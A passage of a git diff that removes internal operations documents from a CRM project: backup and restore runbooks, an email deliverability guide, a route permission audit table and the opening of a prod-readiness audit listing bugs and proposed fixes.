- `pg-backup.sh` — runs `pg_dump`, gzips, optionally GPG-encrypts, uploads
|
||||
- `minio-mirror.sh` — `mc mirror` of the live bucket → backup bucket
|
||||
- `restore.sh` — interactive restore (DB + MinIO) given a snapshot path
|
||||
|
||||
Make them executable and wire them into cron / GitHub Actions / your
|
||||
scheduler of choice. Sample crontab on the worker host:
|
||||
|
||||
```cron
|
||||
# Hourly DB dump at minute 7
|
||||
7 * * * * /opt/pncrm/scripts/backup/pg-backup.sh >> /var/log/pncrm-backup.log 2>&1
|
||||
|
||||
# Hourly MinIO mirror at minute 17 (offset so the two don't fight for I/O)
|
||||
17 * * * * /opt/pncrm/scripts/backup/minio-mirror.sh >> /var/log/pncrm-backup.log 2>&1
|
||||
|
||||
# Weekly restore drill (smoke-test to a throwaway DB on Sunday at 03:00)
|
||||
0 3 * * 0 /opt/pncrm/scripts/backup/restore.sh --drill >> /var/log/pncrm-restore-drill.log 2>&1
|
||||
```
|
||||
|
||||
## Restoring from cold
|
||||
|
||||
These steps have been rehearsed against the dev environment; expect them
|
||||
to take 15–30 minutes for a typical port. **The drill (last cron line
|
||||
above) ensures the runbook stays correct — if the drill fails, the
|
||||
real restore will too.**
|
||||
|
||||
### 0. Stop everything that writes
|
||||
|
||||
```bash
|
||||
docker compose -f docker-compose.prod.yml stop web worker scheduler
|
||||
# Leave postgres + minio + redis up; we'll point them at restored data.
|
||||
```
|
||||
|
||||
### 1. Restore PostgreSQL
|
||||
|
||||
```bash
|
||||
# Find the dump you want. Prefer the most recent successful hour.
|
||||
mc ls "$BACKUP_S3_BUCKET/pg/$(hostname)/" | tail
|
||||
SNAPSHOT="2026-04-28/14.dump.gz"
|
||||
|
||||
# Pull it.
|
||||
mc cp "$BACKUP_S3_BUCKET/pg/$(hostname)/$SNAPSHOT" /tmp/
|
||||
|
||||
# Decrypt if BACKUP_GPG_RECIPIENT was set on the producer side.
|
||||
gpg --decrypt /tmp/14.dump.gz.gpg > /tmp/14.dump.gz
|
||||
|
||||
# Drop & recreate the database. The 'restrict' FK from gdpr_exports.requested_by
|
||||
# to user means we restore in the right order — pg_restore handles this.
|
||||
psql "$DATABASE_URL" -c 'DROP DATABASE IF EXISTS port_nimara_crm WITH (FORCE);'
|
||||
psql "$DATABASE_URL" -c 'CREATE DATABASE port_nimara_crm;'
|
||||
gunzip -c /tmp/14.dump.gz | pg_restore --no-owner --no-privileges \
|
||||
--dbname "$DATABASE_URL"
|
||||
```
|
||||
|
||||
### 2. Restore MinIO
|
||||
|
||||
```bash
|
||||
# Sync the backup bucket back over the live one. --overwrite handles
|
||||
# files that were modified between snapshots.
|
||||
mc mirror --overwrite \
|
||||
"$BACKUP_S3_BUCKET/minio/" \
|
||||
"live/$MINIO_BUCKET/"
|
||||
```
|
||||
|
||||
### 3. Restore secrets
|
||||
|
||||
The `.env` file is **not** in object storage. Pull it from the password
|
||||
manager / secrets vault. Verify `ENCRYPTION_KEY` matches the value used
|
||||
when the database was last running — if it doesn't, rows in
|
||||
`system_settings` (OCR API keys, etc.) decrypt to garbage and the OCR
|
||||
"Test connection" button will return an opaque error. There is no
|
||||
recovery path; the keys must be re-entered through the admin UI.
|
||||
|
||||
### 4. Bring services back up
|
||||
|
||||
```bash
|
||||
docker compose -f docker-compose.prod.yml up -d
|
||||
# Watch the worker logs; expect a flurry of socket reconnections, then quiet.
|
||||
docker compose -f docker-compose.prod.yml logs -f worker
|
||||
```
|
||||
|
||||
### 5. Verify
|
||||
|
||||
Tail through the smoke checklist, in order:
|
||||
|
||||
1. **DB up** — `psql "$DATABASE_URL" -c 'SELECT count(*) FROM clients;'`
|
||||
matches the producer-side count from the snapshot's hour.
|
||||
2. **MinIO up** — open any client with attachments in the CRM, click a
|
||||
receipt thumbnail; verify the signed URL serves the file.
|
||||
3. **Documenso webhooks** — re-trigger one in the Documenso admin and
|
||||
confirm `audit_logs` records the receipt.
|
||||
4. **Email** — send a portal invite to a real address.
|
||||
5. **Realtime** — open two browser windows, edit a client in one, watch
|
||||
the other update via Socket.IO.
|
||||
6. **AI usage ledger** — `SELECT count(*) FROM ai_usage_ledger;`
|
||||
non-empty if AI was being used. Old rows survive but the budget gates
|
||||
reset alongside the period boundary at month rollover.
|
||||
|
||||
## Drill schedule
|
||||
|
||||
The weekly drill (cron line above) runs `restore.sh --drill` against a
|
||||
throwaway database and a sandbox MinIO bucket. It must produce zero diff
|
||||
between the restored row counts and the live row counts (modulo the
|
||||
hour-or-so the drill takes to run).
|
||||
|
||||
Failure modes the drill catches before they bite production:
|
||||
|
||||
- New tables added without inclusion in `pg_dump`'s `--schema=public` (we
|
||||
use the default, which captures everything in `public` — but a future
|
||||
developer adding a `tenant_X` schema will silently lose it).
|
||||
- MinIO bucket-policy changes that block the backup-side `s3:GetObject`
|
||||
on certain prefixes.
|
||||
- GPG passphrase rotation that wasn't propagated to the restore host.
|
||||
- A `pg_restore` version skew with the producer-side `pg_dump`.
|
||||
@@ -1,186 +0,0 @@
|
||||
# Email deliverability runbook
|
||||
|
||||
The CRM sends transactional email through three different surfaces. Each
|
||||
has a different failure mode when it lands in spam. This runbook covers
|
||||
how to diagnose, fix, and verify each path.
|
||||
|
||||
## What email the CRM sends
|
||||
|
||||
| Surface | Trigger | Template | Default `from` |
|
||||
| ----------------------------------------- | -------------------------------------------------------------------------------------- | ----------------------------------------------------------------- | ----------------------------------------------------- |
|
||||
| Portal activation / password-reset | Admin invites a client to the portal | `src/lib/email/templates/portal-auth.ts` | per-port `email_settings.from_address` or `SMTP_FROM` |
|
||||
| Inquiry confirmation + sales notification | Public website POSTs to `/api/public/interests` or `/api/public/residential-inquiries` | `inquiry-client-confirmation.ts`, `inquiry-sales-notification.ts` | same |
|
||||
| GDPR export ready | Staff requests an export with `emailToClient=true` | inline in `gdpr-export.service.ts` | same |
|
||||
| Documenso reminders | Cadence job fires for an unsigned signer | `documenso/reminders/*` | same |
|
||||
|
||||
Documenso _itself_ sends signing requests with its own `from` address —
|
||||
those don't flow through this codebase. SPF/DKIM for the Documenso
|
||||
sender is the Documenso operator's problem, not yours.
|
||||
|
||||
## DNS records
|
||||
|
||||
For every domain that appears in a `from:` header you must publish:
|
||||
|
||||
### 1. SPF
|
||||
|
||||
A single TXT record at the apex authorizing whichever provider is
|
||||
sending. Multiple SPF records on the same name **break SPF entirely** —
|
||||
combine into one.
|
||||
|
||||
```
|
||||
v=spf1 include:_spf.google.com include:amazonses.com -all
|
||||
```
|
||||
|
||||
The `-all` (hardfail) is correct for transactional mail. Switch to `~all`
|
||||
(softfail) only as a temporary diagnostic when migrating providers.
|
||||
|
||||
### 2. DKIM
|
||||
|
||||
Each provider publishes its own selector. Common shapes:
|
||||
|
||||
- Google Workspace: `google._domainkey` → 2048-bit RSA pubkey (rotate every 12 months).
|
||||
- Amazon SES: `xxxx._domainkey`, `yyyy._domainkey`, `zzzz._domainkey` (three CNAMEs SES gives you).
|
||||
- Postmark / Resend / Mailgun: one CNAME per selector.
|
||||
|
||||
Verify alignment — the `d=` value in the DKIM signature must match the
|
||||
`From:` domain (relaxed alignment is fine, strict is overkill).
|
||||
|
||||
### 3. DMARC
|
||||
|
||||
Start at `p=none` while you build deliverability data, then upgrade.
|
||||
|
||||
```
|
||||
_dmarc 14400 IN TXT "v=DMARC1; p=quarantine; rua=mailto:dmarc@portnimara.com; ruf=mailto:dmarc@portnimara.com; fo=1; adkim=r; aspf=r; pct=100"
|
||||
```
|
||||
|
||||
`rua` (aggregate reports) is the diagnostic feed — set it before the
|
||||
first send so the first weekly report has data.
|
||||
|
||||
### 4. MX (only if you also receive)
|
||||
|
||||
The CRM's IMAP probe (`scripts/dev-imap-probe.ts`) and the inbound thread
|
||||
sync rely on a real mailbox. Whoever runs that mailbox publishes the MX
|
||||
records — typically Google Workspace or a dedicated provider. Don't add
|
||||
an MX pointing at the CRM host; it doesn't accept SMTP IN.
|
||||
|
||||
## Per-port overrides
|
||||
|
||||
Each port can override `from_address`, `from_name`, and SMTP creds via
|
||||
the admin email-settings page. When set, `getPortEmailConfig()` returns
|
||||
those values and `sendEmail()` uses them in preference to the global
|
||||
`SMTP_*` env. **The override domain still needs SPF / DKIM / DMARC** on
|
||||
its own DNS — without them, every send from that port lands in spam.
|
||||
|
||||
When a customer reports "our portal invite didn't arrive":
|
||||
|
||||
1. Pull the port's email settings from the admin UI. Check `from_address`.
|
||||
2. Run `dig TXT <from-domain>` and `dig TXT _dmarc.<from-domain>`.
|
||||
Confirm SPF includes the SMTP provider's domain and DMARC exists.
|
||||
3. Send a probe through `mail-tester.com`: paste the address into a
|
||||
test send, click the score breakdown.
|
||||
4. Score < 8/10 → fix whatever's flagged before doing anything else in
|
||||
this runbook.
|
||||
|
||||
## Diagnosing a "didn't arrive" report
|
||||
|
||||
Order matters — go top-down, stop when one of these is the answer.
|
||||
|
||||
### Step 1: Was the send attempted?
|
||||
|
||||
```bash
|
||||
# Tail the worker logs for the recipient address.
|
||||
docker compose logs worker | grep '<recipient>'
|
||||
```
|
||||
|
||||
You'll see one of three patterns:
|
||||
|
||||
- **Nothing**: The job didn't run. Check that BullMQ actually queued it.
|
||||
`redis-cli LLEN bull:email:waiting` — if non-zero, the worker is dead.
|
||||
`docker compose logs scheduler | tail` to see why.
|
||||
- **`Email sent`** with a message-id: The provider accepted it. Move to
|
||||
Step 2.
|
||||
- **`SendError`**: Provider rejected. The error string says why
|
||||
(auth, rate limit, blocked recipient).
|
||||
|
||||
### Step 2: Is `EMAIL_REDIRECT_TO` set?
|
||||
|
||||
In dev/test we set `EMAIL_REDIRECT_TO=ops@portnimara.com` so seeded fake
|
||||
clients don't get real email. **It must be unset in production.**
|
||||
|
||||
```bash
|
||||
# On the production host:
|
||||
docker exec pncrm-web printenv EMAIL_REDIRECT_TO
|
||||
# Should print nothing.
|
||||
```
|
||||
|
||||
If it's set, every email is going to the redirect target with the
|
||||
original recipient prefixed in the subject — the customer never sees it.
|
||||
|
||||
### Step 3: Did it land but get filtered?
|
||||
|
||||
Ask the recipient to check:
|
||||
|
||||
- Spam / Junk folder
|
||||
- Gmail "Promotions" tab
|
||||
- Outlook "Other" folder (vs Focused)
|
||||
- The Quarantine console if they're on M365 with anti-spam enabled
|
||||
|
||||
If found in a spam folder: the email arrived; the recipient's filter
|
||||
classified it. SPF/DKIM/DMARC alignment is suspect — re-run the
|
||||
mail-tester probe from above.
|
||||
|
||||
### Step 4: Was the recipient on a suppression list?
|
||||
|
||||
Some providers (SES, Postmark) maintain a suppression list — once a
|
||||
domain bounces from an address, future sends are dropped silently.
|
||||
|
||||
```bash
|
||||
# SES example:
|
||||
aws ses list-suppressed-destinations --region eu-west-1
|
||||
```
|
||||
|
||||
If the recipient is suppressed, remove them and ask them to retry. The
|
||||
CRM doesn't track suppression locally; that's the provider's job.
|
||||
|
||||
## When migrating SMTP providers
|
||||
|
||||
1. Add the new provider's DKIM CNAMEs alongside the old ones.
|
||||
2. Add the new provider's `include:` to the existing SPF record.
|
||||
3. Wait 48 hours for DNS to propagate and DMARC reports to confirm both
|
||||
providers align.
|
||||
4. Switch `SMTP_*` env to the new provider on a single staging host.
|
||||
5. Send through the staging host for a week. Watch DMARC reports.
|
||||
6. Cut production over.
|
||||
7. Wait two weeks before removing the old provider's DNS — undelivered
|
||||
bounce reports keep arriving for a while.
|
||||
|
||||
## Testing a deliverability fix
|
||||
|
||||
There's no automated test for "did this email reach the inbox" — that's a
|
||||
property of the recipient's filter, which we don't control. The closest
|
||||
proxy is the realapi suite:
|
||||
|
||||
```bash
|
||||
pnpm exec playwright test --project=realapi
|
||||
```
|
||||
|
||||
It runs `tests/e2e/realapi/portal-imap-activation.spec.ts` which sends a
|
||||
real portal-invite email through SMTP, then polls the configured IMAP
|
||||
mailbox for the activation link. If it appears within 30 seconds, the
|
||||
SMTP→DKIM→DMARC chain is alive end-to-end. If the test times out, work
|
||||
backwards through this runbook.
|
||||
|
||||
The realapi suite needs `SMTP_*` and `IMAP_*` env vars — see the
|
||||
"Optional dev/test-only env vars" block in `CLAUDE.md`.
|
||||
|
||||
## Bounce handling
|
||||
|
||||
The CRM doesn't currently process bounces. If you start seeing volume:
|
||||
|
||||
- Set up the provider's webhook (SES → SNS → Lambda; Postmark → webhook
|
||||
URL) to POST bounce events to a new `/api/webhooks/email-bounce` route.
|
||||
- Persist the bounced address into a `email_suppressions` table.
|
||||
- Have `sendEmail()` consult that table before each send.
|
||||
|
||||
That work isn't in scope yet; this runbook just flags it as the next
|
||||
deliverability gap.
|
||||
@@ -1,55 +0,0 @@
|
||||
# Permission Matrix Audit
|
||||
|
||||
Scanned 182 route files under `src/app/api/v1/`.
|
||||
|
||||
**No violations.** Every internal v1 handler is permission-gated.
|
||||
|
||||
**Allow-listed:** 46 handler(s) intentionally skip `withPermission`.
|
||||
|
||||
| File | Method | Reason |
|
||||
| ---------------------------------------------------------------- | ------ | --------------------------------------------------------------------------------- |
|
||||
| `src/app/api/v1/admin/alerts/run-engine/route.ts` | POST | Admin-only — gated by isSuperAdmin inside handler. |
|
||||
| `src/app/api/v1/admin/connections/route.ts` | GET | Admin-only — gated by isSuperAdmin inside handler. |
|
||||
| `src/app/api/v1/admin/errors/route.ts` | GET | Admin-only — gated by isSuperAdmin inside handler. |
|
||||
| `src/app/api/v1/admin/health/route.ts` | GET | Admin-only — gated by isSuperAdmin inside handler. |
|
||||
| `src/app/api/v1/admin/ocr-settings/route.ts` | GET | Admin-only — gated by isSuperAdmin inside handler. |
|
||||
| `src/app/api/v1/admin/ocr-settings/route.ts` | PUT | Admin-only — gated by isSuperAdmin inside handler. |
|
||||
| `src/app/api/v1/admin/ocr-settings/test/route.ts` | POST | Admin-only — gated by isSuperAdmin inside handler. |
|
||||
| `src/app/api/v1/admin/queues/[queueName]/[jobId]/retry/route.ts` | POST | Admin-only — gated by isSuperAdmin inside handler. |
|
||||
| `src/app/api/v1/admin/queues/[queueName]/[jobId]/route.ts` | DELETE | Admin-only — gated by isSuperAdmin inside handler. |
|
||||
| `src/app/api/v1/admin/queues/[queueName]/route.ts` | GET | Admin-only — gated by isSuperAdmin inside handler. |
|
||||
| `src/app/api/v1/admin/queues/route.ts` | GET | Admin-only — gated by isSuperAdmin inside handler. |
|
||||
| `src/app/api/v1/admin/users/options/route.ts` | GET | Admin-only — gated by isSuperAdmin inside handler. |
|
||||
| `src/app/api/v1/ai/email-draft/[jobId]/route.ts` | GET | TODO: needs ai:\* permission catalog entry. Currently allow-listed. |
|
||||
| `src/app/api/v1/ai/email-draft/route.ts` | POST | TODO: needs ai:\* permission catalog entry. Currently allow-listed. |
|
||||
| `src/app/api/v1/ai/interest-score/bulk/route.ts` | GET | TODO: needs ai:\* permission catalog entry. Currently allow-listed. |
|
||||
| `src/app/api/v1/ai/interest-score/route.ts` | GET | TODO: needs ai:\* permission catalog entry. Currently allow-listed. |
|
||||
| `src/app/api/v1/alerts/[id]/acknowledge/route.ts` | POST | Alerts are user-scoped; port-filtered via auth context. |
|
||||
| `src/app/api/v1/alerts/[id]/dismiss/route.ts` | POST | Alerts are user-scoped; port-filtered via auth context. |
|
||||
| `src/app/api/v1/alerts/count/route.ts` | GET | Alerts are user-scoped; port-filtered via auth context. |
|
||||
| `src/app/api/v1/alerts/route.ts` | GET | Alerts are user-scoped; port-filtered via auth context. |
|
||||
| `src/app/api/v1/currency/convert/route.ts` | POST | Currency reference data; port-scoped, no PII. |
|
||||
| `src/app/api/v1/currency/rates/refresh/route.ts` | POST | TODO: gate with admin:manage_settings — currently allow-listed. |
|
||||
| `src/app/api/v1/currency/rates/route.ts` | GET | Currency reference data; port-scoped, no PII. |
|
||||
| `src/app/api/v1/custom-fields/[entityId]/route.ts` | GET | TODO: needs custom_fields:\* permission. PUT path internally validated. |
|
||||
| `src/app/api/v1/custom-fields/[entityId]/route.ts` | PUT | TODO: needs custom_fields:\* permission. PUT path internally validated. |
|
||||
| `src/app/api/v1/expenses/export/parent-company/route.ts` | POST | Internally gated by isSuperAdmin inside the handler. |
|
||||
| `src/app/api/v1/me/route.ts` | GET | Self-endpoint — auth is sufficient. |
|
||||
| `src/app/api/v1/me/route.ts` | PATCH | Self-endpoint — auth is sufficient. |
|
||||
| `src/app/api/v1/notifications/[notificationId]/route.ts` | PATCH | User-scoped notifications — caller is the resource owner. |
|
||||
| `src/app/api/v1/notifications/preferences/route.ts` | GET | User-scoped notifications — caller is the resource owner. |
|
||||
| `src/app/api/v1/notifications/preferences/route.ts` | PUT | User-scoped notifications — caller is the resource owner. |
|
||||
| `src/app/api/v1/notifications/read-all/route.ts` | POST | User-scoped notifications — caller is the resource owner. |
|
||||
| `src/app/api/v1/notifications/route.ts` | GET | User-scoped notifications — caller is the resource owner. |
|
||||
| `src/app/api/v1/notifications/unread-count/route.ts` | GET | User-scoped notifications — caller is the resource owner. |
|
||||
| `src/app/api/v1/saved-views/[id]/route.ts` | PATCH | User-self saved views — caller is the resource owner. |
|
||||
| `src/app/api/v1/saved-views/[id]/route.ts` | DELETE | User-self saved views — caller is the resource owner. |
|
||||
| `src/app/api/v1/saved-views/route.ts` | GET | User-self saved views — caller is the resource owner. |
|
||||
| `src/app/api/v1/saved-views/route.ts` | POST | User-self saved views — caller is the resource owner. |
|
||||
| `src/app/api/v1/search/recent/route.ts` | GET | Port-scoped search — results filtered by auth context (resources have own perms). |
|
||||
| `src/app/api/v1/search/route.ts` | GET | Port-scoped search — results filtered by auth context (resources have own perms). |
|
||||
| `src/app/api/v1/settings/feature-flag/route.ts` | GET | Public read of feature-flag bool — no PII; auth is sufficient. |
|
||||
| `src/app/api/v1/tags/options/route.ts` | GET | Tags are cross-cutting reference data; port-scoped via auth. |
|
||||
| `src/app/api/v1/tags/route.ts` | GET | Tags are cross-cutting reference data; port-scoped via auth. |
|
||||
| `src/app/api/v1/users/me/preferences/route.ts` | GET | User-self preferences — caller is the resource owner. |
|
||||
| `src/app/api/v1/users/me/preferences/route.ts` | PATCH | User-self preferences — caller is the resource owner. |
|
||||
@@ -1,489 +0,0 @@
|
||||
# Prod-Readiness Audit — feat/documents-folders
|
||||
|
||||
**Date:** 2026-05-11
|
||||
**Branch:** `feat/documents-folders` (67 commits ahead of `main`; 34 from this session's documents-hub-split work + 33 from Wave 11.B)
|
||||
**Scope:** 17 parallel domain audits (data-structure & sales-process completeness appended at bottom)
|
||||
**Test posture at audit time:** 1287/1287 unit + integration pass. TypeScript clean (4 pre-existing errors: 1 stale `.next/` build artifact, 3 in a Wave 11.B-era `InMemoryBackend` test stub).
|
||||
|
||||
## Headline
|
||||
|
||||
**~28 Critical, ~38 Important, ~36 Minor findings across 17 domains.** (Original 16-domain count was 23/32/30; Audit 17 added 5/6/6.)
|
||||
|
||||
A handful of the Criticals are real bugs in this session's work that need to be fixed on this branch before merging to `main`. A few are long-standing gaps that survived multiple iterations (storage migration script, `.env.example` URL) and should be fixed independently of this branch but before any prod cutover. Several are mobile/a11y issues that were never going to be caught without a running dev server, which the implementation pass didn't have.
|
||||
|
||||
**Recommendation:** fix the 23 Criticals before merging this branch. Triage Importants into "fix-before-prod" vs "follow-up-on-main". Minors → backlog.
|
||||
|
||||
Estimated effort to clear Criticals: 6-10 hours of focused work.
|
||||
|
||||
---
|
||||
|
||||
## Critical findings
|
||||
|
||||
Grouped by remediation domain. Each entry: brief rationale + file:line ref + fix sketch.
|
||||
|
||||
### A. Core feature regressions in this session's work
|
||||
|
||||
**A1. `handleDocumentCompleted` is not idempotent — Documenso retries duplicate `files` rows + orphan blobs**
|
||||
`src/lib/services/documents.service.ts:1115`
|
||||
|
||||
`resolveWebhookDocument` returns the doc regardless of `status`. Two webhook deliveries (Documenso retries on 5xx) can both pass through and both insert `files` rows; the second `UPDATE documents SET signedFileId` clobbers the first and the first blob is permanently orphaned in storage with no DB row.
|
||||
|
||||
**Fix:** `if (doc.status === 'completed' && doc.signedFileId) return;` immediately after `resolveWebhookDocument`. Standard idempotency gate for this pattern.
|
||||
|
||||
**A2. Realtime hookup dropped by hub rebuild — multi-rep stale data**
|
||||
`src/components/documents/hub-root-view.tsx`, `src/components/documents/entity-folder-view.tsx`
|
||||
|
||||
The pre-rebuild hub consumed `document:*` and `file:*` Socket.IO events via `useRealtimeInvalidation`. After the rebuild, both `HubRootView` and `EntityFolderView` have no realtime subscription at all. The remaining hook lives inside `FlatFolderListing`, which is torn down when navigating away. Result: rep A on `Clients/Smith/` will not see rep B's upload until manual refresh; webhook-completed signatures don't appear in the Signing-in-progress section.
|
||||
|
||||
**Fix:** lift `useRealtimeInvalidation` up to `DocumentsHub` with both `document:*` and `file:*` events targeting the prefix keys `['files']` and `['documents']`. TanStack Query prefix matching will invalidate the aggregated keys.
|
||||
|
||||
**A3. LEFT JOIN port_id in ON clause defeats `idx_docs_signed_file_id`**
|
||||
`src/lib/services/files.ts:544`
|
||||
|
||||
```sql
|
||||
LEFT JOIN documents d ON d.signed_file_id = f.id AND d.port_id = $portId
|
||||
```
|
||||
|
||||
Planner picks `idx_docs_port` and applies `signed_file_id = f.id` as a residual filter. At scale this is 20 × N comparisons per page load instead of 20 point lookups. Same pattern in `documents.service.ts:1915` for the workflow projection.
|
||||
|
||||
**Fix:** drop `AND d.port_id = portId` from the ON clause and add `AND (d.port_id = portId OR d.id IS NULL)` to the outer WHERE. Or add a composite `(signed_file_id, port_id)` index. `files.port_id` is already scoped, so cross-port leak risk is zero.
|
||||
|
||||
**A4. Importer doesn't set `files.folder_id` — imported files invisible to folder queries**
|
||||
`scripts/import-organized-documents.ts:196-208`
|
||||
|
||||
The `documents` row gets `folderId` correctly (line 216) but the companion `files` row does not. `files.folder_id` is a separate column. The backfill won't rescue these — it only acts on files with entity FKs set, and the importer sets none of those either.
|
||||
|
||||
**Fix:** copy `folderId` into the `files.values(...)` block alongside the document insert.
|
||||
|
||||
**A5. `chk_system_folder_shape` has NULL escape — corrupted system rows persist**
|
||||
`src/lib/db/migrations/0051_documents_hub_split.sql:22-28`
|
||||
|
||||
`NOT system_managed OR entity_type = 'root' OR (...)` evaluates to `NULL` (not `false`) when `entity_type IS NULL` and `system_managed = true`. Postgres treats NULL as "not false" so the constraint passes. Confirmed by direct insert test.
|
||||
|
||||
**Fix:** add `entity_type IS NOT NULL` to the constraint, or restructure as `CHECK (NOT system_managed OR (entity_type IS NOT NULL AND (entity_type = 'root' OR (entity_type = ANY(...) AND entity_id IS NOT NULL))))`.
|
||||
|
||||
**A6. `document-folders.service.ts` has zero log lines — silent failures across the entire folder service**
|
||||
`src/lib/services/document-folders.service.ts` (no `logger` import)
|
||||
|
||||
Orphan rows in `listTree` are silently dropped (line 83-84). The 50-attempt suffix-loop exhaustion throws `ConflictError` with no log. `ensureSystemRoots` "missing root after upsert" throws raw `Error`. At 3am you would have no diagnostic for folder-related failures.
|
||||
|
||||
**Fix:** `import { logger } from '@/lib/logger'`. Add `logger.warn` on orphan-detection, retry-exhaustion (both `ensureEntityFolder` and `syncEntityFolderName`), and the missing-root invariant in `ensureSystemRoots`.
|
||||
|
||||
**A7. `demoteSystemFolderOnEntityDelete` is not wired into `client-hard-delete.service.ts`**
|
||||
`src/lib/services/document-folders.service.ts:650` (exported but zero callers)
|
||||
|
||||
`client-hard-delete.service.ts` exists. It clears entity FKs on `files` and `documents` inside its transaction but never demotes the system folder. After hard-delete: folder retains `system_managed=true` + the dead `entity_id`. The partial unique index `uniq_document_folders_entity` permanently blocks any future client folder that would get the same display name. Also a GDPR right-to-be-forgotten gap.
|
||||
|
||||
**Fix:** call `demoteSystemFolderOnEntityDelete(portId, 'client', clientId)` inside `hardDeleteClient`'s transaction (or as a post-commit hook with audit log). Confirm whether `companies`/`yachts` have analogous hard-delete services that also need wiring.
|
||||
|
||||
### B. Accessibility blockers (WCAG 2.1 AA failures)
|
||||
|
||||
**B1. Unlabeled search input**
|
||||
`src/components/documents/documents-hub.tsx:265`
|
||||
|
||||
`<Input placeholder="Search by title..." />` — placeholder is not a label. Fails WCAG 1.3.1 / 4.1.2.
|
||||
**Fix:** `aria-label="Search documents by title"`.
|
||||
|
||||
**B2. No `aria-pressed` on type-filter chips**
|
||||
`src/components/documents/documents-hub.tsx:276-299`
|
||||
|
||||
Active state is purely visual. Screen readers can't tell which chip is selected. Fails WCAG 4.1.2.
|
||||
**Fix:** `aria-pressed={typeFilter === t}` on each chip.
|
||||
|
||||
**B3. No `aria-expanded` on tree chevrons; folder-row labels lack context**
|
||||
`src/components/documents/folder-tree-sidebar.tsx:125, 135-155`
|
||||
|
||||
The expand button has `aria-label="Collapse"` / `"Expand"` with no folder name, so SR users hear "Expand button, Expand button…" with no differentiation. And it lacks `aria-expanded` so the open/closed state is invisible.
|
||||
**Fix:** `aria-expanded={open}`, `aria-label={\`${open ? 'Collapse' : 'Expand'} ${node.name}\`}`. Same pattern in `documents-hub.tsx:210-217` for the per-row signer expand.
|
||||
|
||||
**B4. `aria-label` on Lock SVG becomes part of button's accessible name**
|
||||
`src/components/documents/folder-tree-sidebar.tsx:150-154`
|
||||
|
||||
`<Lock aria-label="System folder" />` inside the folder-select `<button>` produces accessible name "Smith System folder" rather than a separate badge announcement.
|
||||
**Fix:** `aria-hidden="true"` on the SVG + `<span className="sr-only"> (system folder)</span>` after the folder name.
|
||||
|
||||
### C. Mobile blockers
|
||||
|
||||
**C1. FolderTreeSidebar stacks above main panel with no collapse toggle**
|
||||
`src/components/documents/folder-tree-sidebar.tsx:32` — `w-full sm:w-60`
|
||||
|
||||
On mobile the entire folder tree renders above the document list. With any non-trivial tree, reps scroll past it to reach content. Every other secondary-nav page uses a Sheet or Collapsible.
|
||||
**Fix:** wrap in a Sheet drawer (default closed on mobile) with a "Show folders" trigger button.
|
||||
|
||||
**C2. `border-r` on wrong axis at mobile breakpoint**
|
||||
`src/components/documents/folder-tree-sidebar.tsx:32`
|
||||
|
||||
Right border draws on full-width-stacked element instead of bottom separator.
|
||||
**Fix:** `border-b sm:border-r border-r-0`.
|
||||
|
||||
**C3-C7. 5 tap-target violations below WCAG 44×44px minimum**
|
||||
|
||||
- C3: chevron expand button (`folder-tree-sidebar.tsx:125`) — 20×20px
|
||||
- C4: row expand chevron (`documents-hub.tsx:210-216`) — no sizing
|
||||
- C5: "view signing details" (`entity-folder-view.tsx:82-89`) — ~20px tall
|
||||
- C6: "Show all (N)" (`aggregated-section.tsx:101-108`) — ~18px tall
|
||||
- C7: type-filter chips (`documents-hub.tsx:277-297`) — `py-0.5` gives ~24px
|
||||
|
||||
**Fix:** `min-h-[44px]` + `py-2` (or `py-1.5`) on each. Or wrap in `<Button size="sm">` where the visual change is acceptable.
|
||||
|
||||
### D. Long-standing infra gaps (independent of this branch, must fix before prod)
|
||||
|
||||
**D1. `migrate-storage.ts` migrates zero files — silent footgun**
|
||||
`src/lib/storage/migrate.ts:40-43`
|
||||
|
||||
`TABLES_WITH_STORAGE_KEYS` is an empty array. The comment says "Phase 6a ships an empty list" — never followed up. Running `pnpm tsx scripts/migrate-storage.ts` flips the active backend but migrates nothing. Existing blobs in `files`, `berth_pdf_versions`, `brochure_versions`, `gdpr_exports`, `report_snapshots` become unreachable.
|
||||
|
||||
**Fix:** populate the table list with all five tables + their `storagePath`/`storageKey` columns. The `copyAndVerify` SHA-256 round-trip already works; it just needs entries to act on.
|
||||
|
||||
**D2. `.env.example` DOCUMENSO_API_URL has `/api/v1` baked in → double-path URLs**
|
||||
`.env.example`
|
||||
|
||||
Current value: `DOCUMENSO_API_URL=https://documenso.example.com/api/v1`. The client appends `/api/v1/documents` etc., producing `https://documenso.example.com/api/v1/api/v1/documents`. Anyone copying the example file gets 404s from Documenso with no diagnostic. Applies to both v1 and v2 deployments.
|
||||
|
||||
**Fix:** change to `DOCUMENSO_API_URL=https://documenso.example.com` (bare host). Update the admin UI placeholder to match.
|
||||
|
||||
### E. Test theatre — assertions never run
|
||||
|
||||
**E1. Smoke spec `test.skip()` guards mask infrastructure failures**
|
||||
`tests/e2e/smoke/04-documents-hub-aggregated.spec.ts:99-104`
|
||||
`tests/e2e/smoke/04-documents-hub-upload-into-entity.spec.ts:41, 129, 153, 165`
|
||||
|
||||
When the API setup step (client create, file upload, file list) returns non-2xx, the test calls `test.skip(true, ...)` and proceeds no further. Playwright reports skipped tests as passed — a green CI run hides whether the actual assertion would have succeeded.
|
||||
|
||||
**Fix:** convert skip-on-non-ok to `expect.fail()` so a 401 on setup becomes a real test failure. Skip should only fire when the precondition is genuinely "this scenario doesn't apply", not "the infrastructure broke".
|
||||
|
||||
### F. Webhook event coverage gap (with v1 + v2 support in scope)
|
||||
|
||||
**F1. `DOCUMENT_DECLINED` has no handler**
|
||||
`src/app/api/webhooks/documenso/route.ts:146-214`
|
||||
|
||||
v2 distinguishes Decline (recipient refuses) from Reject (admin cancels). The switch handles `DOCUMENT_REJECTED` only. A v2-declined document leaves the CRM document in `sent` status indefinitely; the poller doesn't catch it either (only checks `COMPLETED` and `EXPIRED`).
|
||||
|
||||
**Fix:** add a `DOCUMENT_DECLINED` case to the switch. Behaviorally mirror `DOCUMENT_REJECTED` initially; product can refine if Decline vs Reject should differentiate downstream.
|
||||
|
||||
---
|
||||
|
||||
## Important findings (fix before prod, or as follow-up on `main`)
|
||||
|
||||
Listed by audit domain. Each has a file:line ref in its source audit; I'll quote the highlights here for triage.
|
||||
|
||||
### Security
|
||||
|
||||
- **`storagePath` + `storageBucket` exposed via aggregated files API** (`files.ts:533-534`) — internal storage paths reach authenticated rep clients via `GET /api/v1/files?entityType=X`. Auditors flagged this from both Security and Integration angles. Sanitize at service layer.
|
||||
